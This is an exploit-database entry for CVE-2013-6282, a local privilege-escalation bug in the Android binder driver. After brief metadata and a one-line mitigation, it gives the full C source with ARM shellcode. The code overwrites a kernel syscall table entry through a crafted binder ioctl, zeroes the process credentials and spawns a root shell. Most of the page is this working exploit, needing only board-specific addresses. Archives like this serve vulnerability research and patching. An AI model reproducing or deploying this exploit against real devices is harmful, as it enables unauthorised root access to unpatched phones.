header-logo
Suggest Exploit
vendor:
Android
by:
Piotr Szerman
7.5
CVSS
HIGH
CVE-2013-6282
284
CWE
Product Name: Android
Affected Version From: Android 4.2.2
Affected Version To: Android 4.4
Patch Exists: NO
Related CWE: CVE-2013-6282
CPE: o:google:android:4.2.2
Other Scripts:
Platforms Tested: Android
2013

Lame Binder Local Root Exploit

This is a local root exploit for Android 4.2.2 and 4.4, targeting unpatched kernels up to version 3.4.5. The exploit requires manual customization of addresses for the target board. It was created by Piotr Szerman in 2013.

Mitigation:

Apply the appropriate patches to the affected kernel versions.
Source

Exploit-DB raw data:

/*
 * Just a lame binder local root exploit stub. Somewhat messy but whatever. The bug was reported in CVE-2013-6282.
 *
 * Tested on Android 4.2.2 and 4.4. Kernels 3.0.57, 3.4.5 and few more. All up to 3.4.5 unpatched should be vulnerable.
 * You need to customize the addresses so that they match the target board. On Android, both /proc/kallsyms and dmesg are
 * restricted, thus no automation here.
 *
 * Rigged up by Piotr Szerman. (c) 2013
 *
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

/* Binder transaction request format */
struct binder_write_read {
        signed long     write_size;     /* bytes to write */
        signed long     write_consumed; /* bytes consumed by driver */
        unsigned long   write_buffer;
        signed long     read_size;      /* bytes to read */
        signed long     read_consumed;  /* bytes consumed by driver */
        unsigned long   read_buffer;
} bwr;

#define BR_NOOP			0x0000720c	/* binder memory write value */
#define SC_TABLE		0xc000ee28	/* system call table address */
/* we need to know the lower halfword of the original address of sys_ni_syscall to tailor MMAP_AREA and MMAP_OFF accordingly.
 * you can aid yourself with a NOP block. the higher halfword will in any case become 0x720c. on one of my boxes, the other
 * halfword was 0xdac4. MMAP_AREA must be aligned appropriately. you can extract all the data in question at runtime from
 * /proc/kallsyms and dmesg (not that hard to set off infoleaks with this bug) as long as there are no contraints in place
 */
#define MMAP_AREA		0x720cd000	/* userspace landing point page-aligned address. */
#define MMAP_OFF		0xac4		/* offset within it to plant the payload */
#define NUM_PAGES		16
#define PAGE_SIZE 		4096
#define NOP			0xe1a00000	/* mov r0, r0 */
#define SHELL			"/system/bin/sh"
#define TARGET_APERTURE		68		/* aiming for two adjacent non-implemented syscalls. check arch/arm/kernel/calls.S */
#define BINDER_WRITE_READ	0xc0186201	/* printk your BINDER_WRITE_READ ;) */

/* the target payload */
void __attribute__((regparm(3))) shellcode(void)
{
	asm volatile(

		"__transgressor:;"
		"push	{r0-r12,lr}"		"\n\t"
		"mov	r1, sp"			"\n\t" /* calculate the process descriptor location */
		"bic	r2, r1, #8128"		"\n\t"
		"bic	r2, r2, #63"		"\n\t"
		"ldr	r3, [r2, #12]"		"\n\t"
		
		"movt	r0, #0"			"\n\t"
		"movw	r0, #0"			"\n\t"

		"ldr    r1, [r3, #492]" 	"\n\t"	/* cred's location may differ depending on the kernel config. 
							 * just build and objdump a kernel module with printk(current->cred->uid)
							 * to find out. or pinpoint it with the help of kgdb or whatever ;)
							 */
		"mov	r4, #8"			"\n\t"
		"__loop_cred:;"
		"sub	r4, r4, #1"		"\n\t"
		"str	r0, [r1, #4]!"		"\n\t"
		"teq	r4, #0"			"\n\t"
		"bne	__loop_cred"		"\n\t"

		"ldr	r1, [r3, #488]"		"\n\t"	/* real_cred. overkill? */
		"mov	r4, #8"			"\n\t"
		"__loop_real_cred:;"
		"sub	r4, r4, #1"		"\n\t"
		"str 	r0, [r1, #4]!"		"\n\t"
		"teq	r4, #0"			"\n\t"
		"bne	__loop_real_cred"	"\n\t"

		"ldm	sp!, {r0-r12,pc}"	"\n\t" /* return to ret_fast_syscall */
		"mov	pc, lr"			"\n\t"
	);
}

int
main(int ac, char **av)
{
	char * const shell[] = { SHELL, NULL };
	char *map;
	int fd;

	fprintf(stderr, "[!] binder local root exploit\n[!] (c) piotr szerman\n");

	fd = open("/dev/binder", O_RDWR);

	if(fd < 0)
	{
		fprintf(stderr, "[-] failed to reach out for binder. (%s)\n", strerror(errno));
		exit(EXIT_FAILURE);
	}

	map = mmap((void *)MMAP_AREA, NUM_PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
		MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED | MAP_LOCKED, 0, 0);

	if(map == (void *)-1)
	{
		perror("mmap() ");
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "[+] userspace map area == 0x%08lx\n", (unsigned long)map);

	fprintf(stderr, "[+] placing NOP block at 0x%08lx\n", (unsigned long)map);
	memset(map, NOP, MMAP_OFF);
	fprintf(stderr, "[+] copying payload to 0x%08lx\n", (unsigned long)map + MMAP_OFF);
	/* look at the objdump of shellcode to see the correct offset */
	memcpy(map + MMAP_OFF, (unsigned char *)shellcode + 8 /* offseting to the __transgressor */, 30 * sizeof(void *) /* copy all opcodes */);

	fprintf(stderr, "[+] constructing rogue data structure.\n");

	bwr.write_size = 0;
	bwr.write_consumed = 0;
	bwr.read_size = 1;
	bwr.read_consumed = 0;
	/* targeting the aperture between 2 undefined system calls in the table */
	bwr.read_buffer = (unsigned long)((unsigned char *)SC_TABLE + TARGET_APERTURE * sizeof(void *) + 2);
	
	/* calculate process descriptor address with the aid of sp:
	 * task_struct = *( ((unsigned long *) ( (sp & ~(0xbf000000 - 1)) & ~0x3f )) + 3);
	 */

	ioctl(fd, BINDER_WRITE_READ, &bwr);
	close(fd);

	sleep(5); /* give binder ample time to service the transaction. if it's under heavy load, the exploit might fail */

	fprintf(stderr, "[+] r00ting device...\n\n");

	asm volatile(
			"mov r7, %0\n\t"
			"swi 0\n\t"
			: : "I" (TARGET_APERTURE)
		);

	execve(shell[0], shell, NULL);
	
	return EXIT_FAILURE;
}